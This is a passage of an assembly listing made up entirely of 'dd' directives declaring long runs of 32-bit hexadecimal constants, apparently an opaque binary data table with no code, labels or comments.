		dd 9025D7B3h, 0CD0B300Dh, 99FDB07Eh, 3EF3497Fh,	52E0D1E8h
		dd 40096855h, 83270342h, 21D39BAh, 596BCD91h, 0E1E14EC1h
		dd 468C2B6Fh, 561F5B42h, 0B5EBB6Fh, 16DC9FCCh, 53D900B0h
		dd 0CBFE16B3h, 9401F380h, 525BD830h, 0F1C8C688h, 0C34525E9h
		dd 792062E6h, 0B69851h,	9109A3CEh, 0F3BA5248h, 35923907h
		dd 12CA8FE9h, 0DD28ED82h, 58D7824Ch, 96B76143h,	0E994A07Fh
		dd 0F9561D2Dh, 0BA388A19h, 0EE059286h, 485E96E4h, 0BF2F29D8h
		dd 15803F7h, 0A905E7F9h, 93EA8440h, 0F60669F7h,	24C54AA4h
		dd 682AE427h, 0C63EA627h, 0F2EB24A8h, 0BFD0A8D5h, 0F3285A7Eh
		dd 0E0810A7Bh, 796A9E40h, 2456928h, 8F9A6303h, 0BC6773Ah
		dd 56536F2Eh, 482E308Bh, 0BFB85965h, 1206ED0Fh,	8A91939Ch
		dd 3B80EE5Bh, 9BB558F7h, 89B889F9h, 5C06D627h, 1145997h
		dd 8050E6B3h, 62B82526h, 455F3663h, 525F8F42h, 78076037h
		dd 24B372C5h, 3FEF094Dh, 0C777E074h, 9751086Eh,	3D3FD3C0h
		dd 0C24E092Fh, 0BCC157B2h, 66EFC0E2h, 8D0DE7ECh, 0AE12B144h
		dd 4E026ACh, 0D82F5E68h, 5C5C94D2h, 94E93575h, 68F0D490h
		dd 0C7744972h, 5E0C1A10h
		dd 0E18B24F9h, 0D527AA54h, 0FC25CA67h, 7F5E5964h, 0EAE5D9FCh
		dd 0A62547E6h, 1E0A4E4Ch, 0AF7D1374h, 0E40B813h, 0EF6808E7h
		dd 94B331h, 7D39132Ch, 319FF721h, 47E4681Bh, 0E56150CEh
		dd 1BB8080h, 79B80A13h,	32821C1Ch, 0E0432566h, 78CC2937h
		dd 0C471E9D1h, 7EE71D42h, 0AE0517F2h, 0C74CF93Ah, 0A053125Eh
		dd 0C02CC44h, 402D0DC2h, 5479425Ah, 0DA2108A9h,	6274D12Dh
		dd 64F48768h, 2F73B625h, 0E78495E9h, 5003C366h,	0A7D2FDC9h
		dd 943BF0B2h, 99F90C62h, 87B8AD27h, 0C6084C27h,	0EDDF54F0h
		dd 1033881h, 3938BA4Ah,	0BC5F9D59h, 123A4A80h, 3374025Dh
		dd 761C324h, 604AF3A6h,	0D917B1ACh, 44EFC93Dh, 0D65FFF6Ch
		dd 0F4BF1893h, 29B6F7D8h, 973E8926h, 66917C36h,	0A32F7824h
		dd 0A35C8D6Eh, 0B3FD2160h, 0DE3809FDh, 67C25F1Bh, 0DD9518D0h
		dd 0D1774F29h, 0CBE95090h, 0B0915698h, 141C6804h, 68834BE6h
		dd 3B167A93h, 43F586D7h, 6ADC62DEh, 48AEF122h, 0DD150AE4h
		dd 0BA2DBC72h, 633C0B51h, 3C21F12h, 557DBE8Ah, 3D2220Eh
		dd 78048568h, 2CE8281Dh, 0C85E591Dh, 2B09153h, 0F0E9130Bh
		dd 7211F47Dh, 43C1E116h, 0A010C8ECh, 6A5C2D08h,	89F6CAB9h
		dd 75EA2923h, 2284DA40h, 4349A426h, 9C588603h, 0DF180072h
		dd 31ED53C8h, 9B2FE9FAh, 9C74C67Ch, 426800B2h, 564B5D41h
		dd 353B46B0h, 0BE130F02h, 2F521F50h, 74AC0912h,	179D4EB1h
		dd 92408365h, 22692D58h, 0B93C4AFBh, 0B0BD176Bh, 979F26E3h
		dd 57174E2Ah, 0E76090C9h, 56BA5A59h, 6E4331BEh,	5DF22DC1h
		dd 0BB531880h, 18300CB0h, 1A6EB63Ah, 0E966129Dh, 5CD7421Bh
		dd 717DC501h, 31FDA537h, 0BD110C57h, 0D4B00021h, 2C393168h
		dd 0DF449Fh, 0FD81635h,	0C3317DFCh, 18DA4B8Eh, 5DAF07DDh
		dd 0AC30DDA9h, 0FB9D7A98h, 924B2h, 1E7D12B8h, 0F201BA55h
		dd 0E9AAE182h, 68009181h, 0FB17106h, 66F1B587h,	9A74EEBFh
		dd 92D98415h, 0F5342116h, 3AEBD55Ah, 0F050B033h, 4E33E9DCh
		dd 512FE3CAh, 5AA13875h, 0B7BA582Ch, 6F0F15F3h,	0D3018416h
		dd 0B774115Ah, 9286542h, 6808CDFh, 6080B502h, 3167DA5Fh
		dd 9785E4B7h, 0D7E03C22h, 98B16CFFh, 8254BF55h,	687D39F1h
		dd 0EEBAD630h, 4B487891h, 0E9F3054Dh, 5FEBC50Eh, 0E55BF948h
		dd 0BEF5DB0Ch, 0E6AE1852h, 0CBEA0B16h, 4ABA7DFEh, 58D46BCAh
		dd 0DE7B66CFh, 0F7801216h, 0A9BF34C7h, 31BAD28Ah, 9BC93B1Ch
		dd 0C1265024h, 676E0234h, 0BC2BA588h, 0D7F61C7Ch, 35FCDF93h
		dd 223CAB97h, 3B92DE9h,	814A64ECh, 8E2AB0F1h, 55E909D9h
		dd 3B302219h, 0FAD7C666h, 4E6EBA12h, 0A4CBAA5Bh, 50D712D2h
		dd 16102376h, 0D15C09CCh, 7B7300EDh, 98FBA37Fh,	7A340969h
		dd 0C60F2C3Ch, 0B008A81Ch, 0D5EBF26h, 4575F482h, 3A5AF537h
		dd 9768E912h, 9AB67541h, 4232F320h, 0B0A20BD2h,	0B28085C2h
		dd 0CAFE9EB2h, 1067C2F8h, 0DE8E7606h, 5031EA0Bh, 7AE92D0Bh
		dd 0D2B80CC0h, 2343421Eh, 0D6CD768Ch, 8124D421h, 8E4CCE07h
		dd 56F3605Dh, 0C40989BBh, 482473E9h, 6579A29Bh,	0EED0525Bh
		dd 53541C09h, 0B8E72DAAh, 6DB2D9AFh, 0C1CF7B08h, 0A8DCEC4Ah
		dd 88AF4F0Fh, 0BE41D75Fh, 0BA79356Bh, 6407B7C8h, 0AE31AE4Fh
		dd 0DFDD6009h, 0BE751A4Ch, 61CD5312h, 0FB5FC0ACh, 67800635h
		dd 1284CE81h, 1421C54h,	0F61ECDC9h, 0F53CAF5Dh,	0A187218Bh
		dd 0B80058CFh, 523826C1h, 7CC40F0Dh, 85EB4687h,	0B6F4974h
		dd 68BBDAACh, 25B5C575h, 6CC70F5Dh, 2468176Ah, 0A68A779Ch
		dd 0D2812A67h, 3142429Ah, 0C5511F3h, 7AE90607h,	5F26CB6Dh
		dd 2FF0BED7h, 0BC0A9E9h, 41EEC62Ch, 6EF12577h, 6F847EE6h
		dd 0AE881751h, 92E09787h, 2626D96Ch, 0FF254CC3h, 0C7033848h
		dd 5690D0AEh, 180F6B03h, 41D1292Ah, 0BE330830h,	8927939Dh
		dd 0B4893FEAh, 8CC6BC93h, 0E09E7065h, 4E12BB00h, 7C016F29h
		dd 838049D9h, 0D72F593Ch, 3E08A373h, 895240Bh, 6804C1CFh
		dd 5FB37313h, 6F61B600h, 0D31DE941h, 2591FE57h,	90814E52h
		dd 6EF32057h, 4ED509Dh,	3E8D6C83h, 0EBE3FE21h, 74FB94Eh
		dd 0A6A759F5h, 4BEB09C2h, 0CFEEA8C6h, 6053603Fh, 3D7E1550h
		dd 5749E927h, 3B4FD7A3h, 3FC310C2h, 417860EAh, 29FE584Eh
		dd 90572E8Ch, 683968BFh, 0F68308A2h, 0EC3EDCFEh, 7990105Bh
		dd 2C46377Bh, 59EF0064h, 302D92B2h, 906294FAh, 0E1CD4A45h
		dd 40DA36E3h, 9558A9B5h, 8168C28Fh, 3C685352h, 5658E909h
		dd 0C2376B77h, 2514D4E1h, 20F4D6F8h, 74AFAC4Eh,	2F4BBC53h
		dd 5A255614h, 0E3AD7E55h, 4A5AC909h, 685F42C0h,	0B7DC976Fh
		dd 4EF6A62h, 15E2EF59h,	0EA5FE9C2h, 5C1B3CC8h, 4EF298BDh
		dd 307B17B1h, 413A91C1h, 744FA764h, 0CA5C034Ch,	425A8374h
		dd 0B91500EAh, 1BB30A4Fh, 811C4DB4h, 4D62E5C1h,	0F1DC4163h
		dd 0E7151488h, 1C791047h, 0A73D9622h, 0C94088D4h, 80EBE58Eh
		dd 0C84F215Ah, 0C9D060F3h, 0BA0110h, 6A1F3D35h,	1A27052Eh
		dd 4EEBD1DAh, 7C0B2BF7h, 0CB3A5883h, 0B36F5881h, 2414C8B2h
		dd 1DFF13ADh, 0B5528A1Eh, 0BAC24084h, 5B5C2B57h, 30B44C8Ch
		dd 28BB2972h, 20E11364h, 0E66D0429h, 61D191D0h,	0C9EF7C4Dh
		dd 51965FB1h, 0D9130D91h, 0EC888942h, 0EEBCDF59h, 0FF2E92Dh
		dd 0B5C960B5h, 0F3543B2Bh, 0C991B343h, 0B06FCBCDh, 245BADC9h
		dd 0E2E02789h, 47D9BF73h, 199572AFh, 0E525BDDh,	5F1F3EEBh
		dd 827F625h, 591657F1h,	6F8D86F0h, 0B3C91154h, 609D2C58h
		dd 673DFFh, 0F7582638h,	4F152DD0h, 3579280Fh, 643CE11Fh
		dd 95208951h, 0F29B4E14h, 0D0798E4Fh, 8B685031h, 0CFFE012Ch
		dd 1C372970h, 0CE9EE180h, 0C7C6ACF1h, 0DD70062Dh, 0EF75CF7Eh
		dd 1F8BDC83h, 4A011866h, 3861665Ch, 0E9F7078Fh,	5FB9ED32h
		dd 5284C765h, 16EACA88h, 78CCBB94h, 134F4BE9h, 0DF1EF9DEh
		dd 0DFE0DA56h, 0FA68CB5Ah, 91E12404h, 9747A108h, 70531527h
		dd 0AF107D2Ah, 93BA03E5h, 0D10F6C48h, 443910ABh, 8593DB3Ch
		dd 0BDB6566Bh, 5899CBB7h, 0B7EFF699h, 0D827ED74h, 2E06200Fh
		dd 31FD054Ah, 85C2AC5Fh, 65BEFEFAh, 948FFC1Ch, 57BD4BFCh
		dd 507EC84Eh, 7623B805h, 16033FA8h, 27B4DBE9h, 88DDC77Fh
		dd 745ACDEEh, 0DAAE8B54h, 2D5F9F64h, 5D850FEFh,	54702BC9h
		dd 584576BFh, 0E2A8BB63h, 5E2DCEF1h, 5DCFD841h,	18105DD5h
		dd 0EFB300BAh, 0D8284304h, 4866E82Ch, 0B17F335Bh, 0EFFE1DAEh
		dd 0FBF2105Dh, 2DD3ABB9h, 96D85DB6h, 9F2DDB40h,	0E029EFFCh
		dd 381C4908h, 5A66F50Bh, 3DB4E230h, 99E53025h, 40EE5070h
		dd 3D6DE44Dh, 6459DFE9h, 7DBB053Bh, 0F8686204h,	1D61AA21h
		dd 6C335C4Fh, 30BF4E78h, 3C0B86Eh, 20B2F89Dh, 0A180C9FFh
		dd 0FBB511AEh, 0D3309726h, 0E94B87F4h, 50F701FEh, 6B39A74Eh
		dd 0A73DCE8h, 0BA21274Fh, 129E02E6h, 0A8DF7AC6h, 7B2D08E2h
		dd 0D1C703D8h, 7E100A06h, 5628B1D3h, 48CF20A1h,	0DFB9BD70h
		dd 0A7540680h, 0B8F52903h, 52280925h, 0F6D612F1h, 84EA0F64h
		dd 73E7AE3Dh, 0E9090691h, 0C471F07Ah, 3BE01E4Eh, 5A944959h
		dd 2E001E06h, 255C7847h, 690F1CD7h, 0B02D6Fh, 95056762h
		dd 1014F32h, 9C5B82CDh,	0BCE43E69h, 0C5554487h,	51233E0Eh
		dd 88E5C04Bh, 0F871CC0Ch, 25E807CDh, 99E928A0h,	0FE2DD456h
		dd 105CCA13h, 41BA0F69h, 2F7CAB4Eh, 0DA9CA5BCh,	0FF7AB9B6h
		dd 0B644013Ah, 28F43044h
		dd 313EB14Eh, 3BEA9980h, 1F7D9B3h, 4B49D77Dh, 5E715D66h
		dd 0C2494BEBh, 0CA069729h, 0BE4B62B8h, 0BF2D84EEh, 0CA3F1ABCh
		dd 0E5CEC39Fh, 0D12F805Bh, 9B6841F0h, 0C762781Ch, 4DE50CB3h
		dd 133BFEE1h, 0F161EB40h, 37EB5E9h, 0ACC38031h,	0D5E8062Dh
		dd 0E65B01BEh, 60B4A6C0h, 99EC4C80h, 2FDEED10h,	0C20B7DBFh
		dd 2D5E3970h, 68CF04FAh, 73A2EBCAh, 6BA83A78h, 2D8B409Eh
		dd 2A4D1655h, 22B155DEh, 0CB053E2Bh, 67F21FDBh,	522E882h
		dd 96C2EB53h, 0D4F600BCh, 0E573F480h, 0A45ECC34h, 9A47C604h
		dd 38016802h, 0D3C3969Bh, 6E3FD0C9h, 76171E8Bh,	9862ACAEh
		dd 9D2D8C68h, 1040A4D4h, 9013C30Eh, 0FA74050h, 0AC9A8412h
		dd 73E2A537h, 0AA52CBF9h, 0BEDD226Ah, 22C91AFCh, 5DEF52D5h
		dd 4C09DF20h, 0BE7A582Ah, 7C863625h, 0A05B00A6h, 0FE29C19Dh
		dd 0D6505F73h, 0C0821C80h, 3DCB24A5h, 72ADF5D4h, 0B6B8DD00h
		dd 3213A54Ah, 9CB0E0C1h, 0FA2E5BF3h, 2968692Ch,	0B0D75D4Ah
		dd 6967DE8Ah, 0DF65607Eh, 0A0EE5B0Bh, 966592BCh, 49BAED4Bh
		dd 0D15559E0h, 888515C3h, 63C38101h, 3AF17D1Fh,	685E3A02h
		dd 4D6CD749h, 3D81DEBDh, 9CF1C8A7h, 68E9E860h, 88D8BC16h
		dd 5216CFB5h, 6D7B8B2h,	8393B53Ch, 9819C605h, 0C4FE6268h
		dd 2D5205C4h, 1947AEF3h, 69F17F77h, 0BAD7BBAh, 4097A6D0h
		dd 831A4CA3h, 3E7BE1BCh, 1841FD4h, 2B2B50FBh, 69C0EC10h
		dd 0B5F85528h, 0F5A535A5h, 67206894h, 0EB2926B9h, 3A7603D9h
		dd 22E936D7h, 73F86E5Fh, 21BF19C5h, 8BF3D087h, 0F759CD1Fh
		dd 0D5033012h, 8E3CEE38h, 2903E5BDh, 0C42B0AEh,	4B0961E3h
		dd 74E91608h, 0F1E66156h, 0D1028812h, 3ECC861Eh, 0F010C4F6h
		dd 0BDF1405Bh, 0AFEC765Eh, 6329FAA4h, 9FB1389Ah, 50FDC400h
		dd 55F62C7Fh, 23D1975Ah, 0BD2BA810h, 0F988F44Bh, 0C32F9F32h
		dd 2FC1EFD7h, 0C4F4C201h, 0BCDBB10Bh, 0E6E6043Bh, 0DB392C4Ah
		dd 16DE3EC1h, 0F7AD3482h, 6210FA10h, 7519A533h,	0D901CC1Ah
		dd 0F8523917h, 6697BA43h, 0E3342A4Eh, 0BCF7D308h, 0B575850Eh
		dd 5E786D3h, 0A3978FAh,	7E1C803Ch, 6F769774h, 4D94C906h
		dd 3D186BE1h, 46959EBh,	63472701h, 82C8D445h, 55C6F1CBh
		dd 154308C2h, 7940EBE9h, 0C1F30088h, 680B764Eh,	0FD435AD4h
		dd 75D889C1h, 3EB81A01h, 0B869C666h, 0E2AF05E4h, 3FD79F91h
		dd 95F00184h, 1D571F60h, 0DF60C46h, 520FF58Fh, 668523A6h
		dd 22FE277h, 288F2CF2h,	0F4C08984h, 7597E8C1h, 6E3BF5B9h
		dd 0BDB6E500h, 1E06F680h, 18528D2Ch, 28DB1098h,	65AF034h
		dd 0F9B6C7AAh, 0B8683AC8h, 2298545Fh, 10C4AE9h,	16EB80DEh
		dd 72066E28h, 0FE175AABh, 0FE200226h, 65B0685Bh, 0DEB720A0h
		dd 27FEFC0h, 20BDC74Ch,	0E45D60F9h, 1957063Ah, 19EB013Fh
		dd 581CB641h, 0C427B26Fh, 7A1BE3A9h, 7B0998AAh,	7364084Fh
		dd 5FEA3009h, 0DFE97C51h, 5C020A94h, 2863F280h,	0DD517DD0h
		dd 0FCBE4034h, 63B0A0CAh, 13CEDC88h, 0B154A934h, 283433E9h
		dd 1AB12568h, 7EFC88C6h, 5557FE1Ch, 0FF1293A6h,	0C04AAEF2h
		dd 0C666C149h, 92691ECFh, 0ADC20EE8h, 545F6052h, 0CBCE01CFh
		dd 5153C54h, 4330B7E1h,	911F125Ch, 7FFA0143h, 7C38D650h
		dd 0D3E90A94h, 8996C479h, 7C2F54F8h, 0DCA586D9h, 505B8F4Fh
		dd 9EBD56E6h, 535A5400h, 781260BBh, 0B9CCFA76h,	30F10337h
		dd 0B0107959h, 5F2596C4h, 2544C77h, 2FC52750h, 6C7C18E9h
		dd 2CD0F602h, 0C79AA301h, 0FFD7CA58h, 37806C87h, 90633F95h
		dd 0F881DE2Ch, 5C843A04h, 240F7DEBh, 0B705531Dh, 0D15AE9A5h
		dd 0C4AAC453h, 5EB1F3A0h, 0FF7574AAh, 0AB2AD4F5h, 0F07E1C39h
		dd 0D75DCE6Fh, 53B31656h, 0A91792B3h, 0C731AF3Eh, 82973BF9h
		dd 0CFDE00D1h, 62E6501Dh, 0CA01F7ECh, 0E9C47F4Bh, 0A85010A7h
		dd 2F3645F2h, 30F52431h, 0B7FB29D7h, 1C658FDCh,	508002E9h
		dd 0DA5265B8h, 0B1BE5E3Ah, 0C6310A56h, 97A602Bh, 7E9F1C77h
		dd 0B2C6C3B3h, 685FD40Fh, 0E9CC3256h, 0BD420059h, 84A352Ah
		dd 40165299h, 20F1EAE9h, 891E789Fh, 0D35F5E2Dh,	0CF4689A9h
		dd 69EF2EDCh, 25DE782Fh, 41D95566h, 3A73E941h, 3DCE3787h
		dd 8032D425h, 0AE5C92FCh, 4E85048h, 5E5A4AF4h, 2C1E03A0h
		dd 74B35AFh, 97EF0A3Ah,	0BB0864C1h, 0F5CAE6C0h,	12823370h
		dd 0A3E114AEh, 0CC822FD4h, 898F4031h, 0AFE93EF7h, 11E87863h
		dd 38FDAD00h, 9745CD2Ch, 0E0280F17h, 34E0DCC0h,	0F59B0551h
		dd 0D7BF0F17h, 3508240Ch, 77AE0FA8h, 0CB2934C2h, 4C5A89D8h
		dd 0BD23B4C0h, 442D00CDh, 0E24ABB06h, 810C0764h, 0DC769EBh
		dd 0C34000F2h, 31FF5D75h, 0F303B70Fh, 6D958B58h, 813A0128h
		dd 1FA6A8E8h, 81FBF138h, 0F4D3E210h, 0DE316066h, 0E3CF8B80h
		dd 2FA2CD83h, 80870203h, 0A790B1D2h, 81618EA0h,	0FC6303C0h
		dd 6E82C08h, 8BD53700h,	0EE6834E2h, 4EE60081h, 5F099EEAh
		dd 85728950h, 8F861F64h, 0E9838981h, 0FBA618D3h, 9D890249h
		dd 242A7534h, 291E86C6h, 18FF1485h, 36B60B1Eh, 0C8D8BB00h
		dd 5FD6F179h, 25D0044h,	0BE69B1DDh, 73EC3845h, 0C678E92Eh
		dd 0AF493383h, 0B5128090h, 6CC60060h, 55A53ED0h, 0DF0077E2h
		dd 0C94FBF27h, 0F54CE68h, 6FAC59A6h, 607E9387h,	57CA6BC7h
		dd 0EA8BA103h, 0E2277377h, 1049E0Bh, 77D66843h,	8F154810h
		dd 0A091E618h, 1F4846Dh, 7C770Eh, 521734DCh, 0F3031079h
		dd 0E726700Eh, 0ED29390Dh, 19447F08h, 0CFF244EFh, 10D912FFh
		dd 0DB891B3Bh, 12EF9108h, 42FD20C5h, 0A90F141Fh, 0A0CA94F5h
		dd 9F1E3948h, 0AB8700DAh, 213A4F11h, 8E0F14AAh,	0A99EA4h
		dd 8A590E55h, 0B59A07A0h, 23045F2Eh, 0FB9023FAh, 350EF57Ah
		dd 8B1D221Ch, 0E835005Ah, 56F338h, 0EB7C8E50h, 0A2B42F0Ah
		dd 15F6E703h, 0A09069C2h, 7CC339BBh, 0E5830062h, 65BFFBCEh
		dd 42005CBEh, 573D3FAEh, 4E3CA7h, 3534F90Dh, 0FB54505Eh
		dd 1000A376h, 5D70637Bh, 38A96261h, 7F68E21h, 0E3980FF0h
		dd 0E252B078h, 31002A03h, 9D59844Eh, 24E5DCh, 96331C0Dh
		dd 1EB0D28Ch, 738AFEA0h, 66BA7F07h, 60200510h, 3913FBCCh
		dd 7FB7D51h, 0FC3CACD1h, 0BD6560F8h, 22EE4726h,	2F6EE900h
		dd 33036473h, 0ABA200A8h, 7D687278h, 0BBF0E415h, 102E5B24h
		dd 5F823C00h, 3935E954h, 88800AD4h, 1ADF5E79h, 5107EBC8h
		dd 0EA617A8Fh, 0DDE4CDF2h, 4E95B2E0h, 0E0CA9900h, 9F6EF5DAh
		dd 15BAE444h, 0C03B3A63h, 5D61DC02h, 4DE0FDC2h,	12004825h
		dd 0AA14E2FCh, 1834282h, 0E39A24FBh, 6092E5C3h,	1B00CE3Fh
		dd 31D826B0h, 0FCB98875h, 0AD1D0035h, 8750C1B5h, 0FD0005B8h
		dd 0C9E4F6F2h, 1DC88E91h, 0AB24B6h, 472C2F1Dh, 0DB002B7Fh
		dd 70746B7Dh, 0EEA1B29h, 0FB4111EFh, 774D1640h,	2701BDB2h
		dd 5E9B6087h, 98217A6Dh, 0E4A353F4h, 0F0EE00F7h, 0A15569DEh
		dd 0E700F951h, 5C6ADFEFh, 5CFC50A2h, 1E01329Bh,	0ADA0AC2Eh
		dd 7A4CF47Eh, 0B203A0Eh, 0CF0F3EE4h, 0D8228CD9h, 0D7113F2Fh
		dd 0AA15007Dh, 1AF0A39Fh, 6D7D4CC9h, 0B210A060h, 38AD020h
		dd 0C4E4D80h, 62C0CFFFh, 0E41CE1BEh, 75042E3Ch,	0F090BF05h
		dd 1495AEAh, 61814595h,	0C43C124Eh, 0FC00F1F7h,	0AF8063CBh
		dd 16E093h, 322109DCh, 0D66918E3h, 4F78B300h, 42F7EC26h
		dd 84EA4814h, 8581D500h, 21133353h, 96AFB71Eh, 1250AD06h
		dd 0E8600770h, 90E324DAh
		dd 3693E680h, 1C2E3000h, 8DCE40CBh, 909C006Eh, 0E29B21DCh
		dd 0C6017887h, 1344F01Ah, 89ECC90Dh, 7E980052h,	0AB7A012Ah
		dd 6A1DA173h, 0F0C3427Fh, 0B0A758E6h, 0AE9E79h,	0B968758Ch
		dd 0FA3C3DF1h, 1BA27000h, 1EDB0564h, 99AC03BCh,	3E28409Ah
		dd 0FCAE1000h, 39E3D2E1h, 0BB43003Ch, 2D0A2C27h, 0D4F3F0F9h
		dd 20EFDF24h, 0FE04C07Ch, 0B965D7E3h, 0C8042C93h, 9E5BE1h
		dd 1BC57843h, 586EE4EFh, 5A694900h, 2220EE75h, 0D4B6002Dh
		dd 2B02E186h, 0C6043318h, 782F2637h, 15E87C80h,	7008431h
		dd 66A78E08h, 379A620h,	45293F99h, 0D2C8ED13h, 6015C9CCh
		dd 48FC3C3Bh, 31DB032Fh, 0F09F6C6Fh, 2EAE086Eh,	6A53FD4h
		dd 100BD846h, 0DEEE641Dh, 13286780h, 4C267209h,	7B00A77Eh
		dd 1E499A75h, 7A0E5AEDh, 3EE1CDDCh, 72D3000h, 38EE17h
		dd 0A84D9B25h, 83328E6Bh, 0E8E95F28h, 0A6302E00h, 285A1C21h
		dd 2A1D0397h, 2BD3B8C3h, 0A8E9C09Dh, 0FF09F41Eh, 0B1F33Ah
		dd 3F60F25Ch, 6E23307Ah, 887C9310h, 16385203h, 0E00D08h
		dd 9A450EE0h, 6C425068h, 801BF002h, 802837A0h, 0D4F664C8h
		dd 7DEA09F9h, 0DC90B79Ch, 0C50E1DDDh, 408E7672h, 4757074Dh
		dd 0A1E0096h, 0BEB92406h, 0FA00DAF2h, 1A8564CDh, 0A844D6h
		dd 0A3716149h, 2803661Ch, 8F9CB002h, 60CAB799h,	0E1EF8D8h
		dd 4E3B437Dh, 0D4595058h, 92B33D00h, 77D99909h,	405C6F4Dh
		dd 2A95FA80h, 0D80018C9h, 867DCA4Fh, 7889778h, 0A5F7BF55h
		dd 644EE168h, 57282066h, 72DD3Ah, 657C40FFh, 0ED15D2h
		dd 0C4489376h, 52F54E21h, 9E00BBEEh, 32A985E4h,	26B9C5h
		dd 0AD209861h, 1094D3ABh, 9501BC90h, 16CD82B8h,	0F8CB2B38h
		dd 0C77CBEh, 392E2D1Ch,	0CA7DC5AAh, 18A2FF0Bh, 8933846Ah
		dd 15A7F380h, 401B0066h, 8DA9C07Dh, 0BB7FC939h,	41106C0Bh
		dd 0B538005Bh, 1C9D85A6h, 409E9767h, 0AE56CE4Dh, 304D8861h
		dd 80813CCCh, 2ADA0EE5h, 0C06FE91Ah, 1842FA40h,	27003916h
		dd 0F3EF5BBCh, 56F403h,	0CF7B8B4Bh, 7CC609D5h, 0F9D08901h
		dd 28C181A2h, 2580D9BEh, 0DBB23116h, 100E487h, 0A83B302Bh
		dd 3DD57AC0h, 4E00420Eh, 0EE942683h, 7190BF9Bh,	0B10C2700h
		dd 1BB97EAh, 0A62D5C3Ch, 0E374D0Ch, 56E6D7D9h, 61264490h
		dd 0C38C8C52h, 90BB7676h, 5B8817A0h, 298D0093h,	0BA54A385h
		dd 0F25D18C7h, 0FFC07FB0h, 307E0EAh, 6D6B481Eh,	39B858B1h
		dd 0B8026287h, 7DCD724Ah, 0A7484009h, 14DE1FA0h, 42D95FACh
		dd 7B5A610Dh, 32B1D460h, 0FF035809h, 75D8A1E8h,	0FDFC549Fh
		dd 0A96A00C1h, 36BFEEC3h, 0E7011865h, 2A669B7Ch, 0E8E78088h
		dd 5050F946h, 0E8A853h,	525DA455h, 162E56DAh, 3AE4B748h
		dd 69EC80DDh, 7B5CAF35h, 0D83600C1h, 0A52925F2h, 89755A2Bh
		dd 59965402h, 40D566F0h, 0E0ADEE8h, 0CE6A8CB0h,	40625C1Eh
		dd 28F7EF35h, 1150FEF5h, 0CB00DF9Ch, 6E754A2h, 121295DAh
		dd 40C11C0Eh, 0D2D802BCh, 8C907C9Bh, 0B960DE75h, 1FA71450h
		dd 2665E8D1h, 3309DF9h,	8C9878CAh, 2BAB619Bh, 0AA7DB1C8h
		dd 0AD84651Fh, 0D42C9F87h, 0DBEB1823h, 3CF3C040h, 0E27500A8h
		dd 37E730C2h, 900053BBh, 1133A5BDh, 0B82335h, 99675257h
		dd 9BC832DBh, 28398E00h, 23CE2436h, 792207D2h, 0C0DA5F86h
		dd 1668195Eh, 6100067Ch, 0D823DBE9h, 0FE38270h,	0C57D9F51h
		dd 15000E09h, 1E6F4D9h,	378C6300h, 0C0FAD194h, 7159030Bh
		dd 11DE856Ah, 57541ED0h, 4B9E4400h, 0F812CD70h,	9A6102DBh
		dd 0CD16C47h, 1D052CC0h, 6ABDE812h, 0C0275000h,	2A6B626h
		dd 0BCD038B4h, 2C60494Eh, 0D03D581h, 719848F7h,	7ADA00C7h
		dd 0CFF6E9FCh, 5101877Bh, 0B91F1135h, 108098ADh, 0DC9D5A37h
		dd 0C0BDF384h, 0E8ECF248h, 48B066h, 2116A832h, 0EEB4ABD3h
		dd 0EAC9F904h, 0A3295Bh, 98675BCh, 8190C2AAh, 0D03E30A4h
		dd 192DA7E0h, 9F1CEC13h, 0D0883800h, 0F644DB60h, 407B601Ah
		dd 0D9373FBh, 9EC2962Eh, 22A78800h, 0B1D5D21h, 1B1FB0E5h
		dd 8290DA00h, 0F100B4AEh, 0BCBD474h, 3F8767FCh,	5D0058B2h
		dd 0BEDE71E9h, 5C00919Ch, 3D10D33Bh, 580A5F1Fh,	74B821h
		dd 36AD58B9h, 0B73465Ah, 0BC389160h, 0B881B12Ah, 0AB6D2635h
		dd 19460084h, 70EA1F39h, 876E5838h, 0F0A5CBB0h,	138CA6A0h
		dd 48980Fh, 3E08BD4Fh, 0A97FB040h, 67F24E00h, 6AF45FCEh
		dd 5D1C04D9h, 975CD809h, 72B7E08Ch, 0F3602377h,	0EE5F8C28h
		dd 96480059h, 0AA64A174h, 94982E70h, 0C323D800h, 595B7395h
		dd 4E92CFFh, 0AD640052h, 86BCC838h, 4111B400h, 82DE9B58h
		dd 43D0C34Ch, 74EB38F0h, 6C7D4298h, 78965300h, 0BB49F3D2h
		dd 2EFE009Bh, 33AF9EACh, 8B30B9CBh, 0DB55487Fh,	93370047h
		dd 2FB8CA94h, 0E401FAD2h, 0A912CC08h, 0ABF88B83h, 6B7086h
		dd 20E25D77h, 7BD4DDCAh, 5153B116h, 0D7037813h,	3C41A3FBh
		dd 19872490h, 90824F15h, 0E8FAD78Eh, 6071300h, 0D481849Dh
		dd 0F4650998h, 0F0A44C53h, 0B9E5013Fh, 14214ABAh, 6EE420h
		dd 8E788AB5h, 723E546Ch, 0D67E7125h, 65B905A5h,	62B400D7h
		dd 0D50D5CBh, 0CD43F901h, 57116940h, 35A2EC40h,	0DD193AADh
		dd 30F60F1Eh, 0B0AEB7F8h, 9EA7D00h, 31AE936h, 78BCF510h
		dd 87974280h, 0EE6915CEh, 0D0CF5104h, 9C9022DBh, 915E8Ch
		dd 64E56D52h, 3CD39B5Bh, 8D00F1FCh, 36316E9Ch, 0CB9392h
		dd 91C7D903h, 1644547Ah, 8499F81Eh, 7E070F00h, 6EC08Ah
		dd 0EEDFEB6Dh, 6F5F6BEDh, 0ABD600Fh, 1FC6A0BCh,	2C0F4Ch
		dd 0B487D3B9h, 7C26992Ah, 4FB36D00h, 0CAD93D79h, 3B110457h
		dd 80150BA6h, 20B1975Eh, 647FC0A8h, 7A6FBC00h, 1679AF1Eh
		dd 0CDF28Fh, 470C8734h,	0FE50D49Bh, 0E526F0B0h,	7E07CAC5h
		dd 97300678h, 0F89A24CFh, 4CAA0784h, 21A47A60h,	0E84A917Ch
		dd 0A84C808Dh, 1C3D0153h, 0FC04F562h, 0BC1830h,	5EA68E9Dh
		dd 952C1BB8h, 8033EC00h, 16BA09E5h, 0E3FB000Ah,	7E04FEF0h
		dd 7600A129h, 0F8F317C8h, 584A5CE5h, 41059291h,	0C04D1112h
		dd 1C6D13A4h, 3F0099E6h, 0EB21432Bh, 4F7F3Dh, 0E841166Ah
		dd 0A41BAF33h, 2017A17Bh, 0E400F2ABh, 0FCC35C82h, 686F0FECh
		dd 4E007EAEh, 5175E320h, 0DF0094E4h, 0B4F1EE5Ah, 1EA9497Ah
		dd 83D1A46Eh, 0FF3C0FD6h, 7F21EB90h, 1D345600h,	0C2153529h
